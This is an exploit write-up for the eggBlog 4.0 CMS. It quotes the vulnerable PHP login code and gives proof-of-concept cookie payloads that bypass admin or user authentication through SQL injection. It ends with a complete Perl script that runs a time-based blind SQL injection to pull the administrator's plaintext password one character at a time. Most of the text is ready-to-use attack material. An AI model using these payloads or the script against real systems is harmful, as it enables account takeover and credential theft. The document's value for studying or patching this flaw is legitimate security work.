|
# Author: __GiReX__
# mySite: girex.altervista.org
# Date: 27/03/2008 - 1/04/2008 Added exploit for str0ke
# CMS: eggBlog 4.0
# Site: eggblog.net
# Bug: SQL Injection (cookie vars)
# Type: 1 - Admin/User Authentication Bypass
# Bug2: Blind SQL Injection (same vars-query)
# Type: Password retrieve exploit
# Var : $_COOKIE['email], $_COOKIE['password']
# Need: magic_quotes_gpc = Off
# File: index.php
require_once "_lib/global.php";
...
eb_pre();
# File: /_lib/globals.php
require_once '_lib/user.php';
...
function eb_pre() {
...
if(isset($_COOKIE['email']) && isset($_COOKIE['password']) && !isset($_SESSION['user_id'])) eb_login($_COOKIE['email'],$_COOKIE['password'],1);
# Let we see function eb_login
# File: /_lib/user.php
function eb_login($email,$password,$key) {
...
if($key==0) $password=md5($password);
# Our $key is set to 1 so the password will not cprypted
$sql="SELECT user_id FROM eb_users WHERE user_email=\"".$email."\" AND md5(user_password)=\"".$password."\"";
$query=mysql_query($sql);
# I have no words, 2 vars not sanizated into a SELECT query
PoC 1:
GET [PATH]/index.php HTTP/1.1
Host: [HOST]
...
Cookie: email=@" OR "1; password=@" OR "1
# With this you will be authenticated with the fist record of table eb_user
PoC 2:
GET [PATH]/index.php HTTP/1.1
Host: [HOST]
...
Cookie: email=@" OR "1; password=@" OR "1" AND user_id="[VICTIM_USER_ID]
# For anybody you want
##############################################################################################################
# Start Blind SQL Injection / Password retrieve exploit #
# NOTE: Password is in plain-text so take a coffe... #
##############################################################################################################
#!/usr/bin/perl -w
# EggBlog v4.0 Blind SQL Injection
# Password Retrieve Exploit
# Coded by __GiReX__
use LWP::UserAgent;
use HTTP::Request;
if(not defined $ARGV[0])
{
print "usage: perl $0 [host] [path]\n";
print "example: perl $0 localhost /eggblog/\n";
exit;
}
my $client = new LWP::UserAgent;
my @cset = (32..126, 0);
my ($i, $j, $hash) = (0, 1, undef);
my $host = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0];
$host .= $ARGV[1] unless not defined $ARGV[1];
banner();
check_vuln($host) or die "[-] Site not vulnerable\n";
while($i != $#cset)
{
for($i = 0; $i <= $#cset; $i++)
{
my ($pre_time, $post_time) = time();
$rv = check_char($host, $cset[$i], $j);
$post_time = time();
info(chr($cset[$i]), $post_time - $pre_time, $hash);
if($post_time - $pre_time > 3 and $rv)
{
$hash .= chr($cset[$i]);
last;
}
}
$j++;
}
print "\n". (defined $hash) ?
"[+] Admin password: ${hash} \n":
"[-] Exploit mistake: please check benchmark and charset\n";
print "[+] Exploit terminated\n\n";
sub banner
{
print "\n";
print "[+] EggBlog v4.0 Blind SQL Injection\n";
print "[+] Password Retrieve Exploit\n";
print "[+] Coded by __GiReX__\n";
print "\n";
}
sub check_vuln
{
my ($target, $res) = @_;
$get = new HTTP::Request(GET, $target);
$get->header('Cookie' => 'email=-1" WHERE X#; password=aaaaaaa;');
$res = $client->request($get);
if($res->is_success)
{
return 1 if $res->content =~ /<b>Warning<\/b>:/;
}
return 0;
}
sub check_char
{
my ($target, $char, $n, $res) = @_;
$get->header(Cookie =>
'email=-1"+AND+'.
'CASE+WHEN'.
'((SELECT(ASCII(SUBSTRING(user_password,'.$n.',1)))FROM+eb_users+WHERE+user_id=1)='.$char.')'.
'THEN+benchmark(90000000,CHAR(0))+'.
'END#; '.
'password=dummy_psw');
$res = $client->request($get);
return $res->is_success;
}
sub info
{
my ($char, $delay, $hash) = @_;
print STDOUT "[+] Admin password: ${hash}".$char."\r" unless not defined $hash;
# print STDOUT "[+] Char: ${char} - Delay: ${delay}\r";
$| = 1;
}
|
| |
|
推荐
评论(0条)
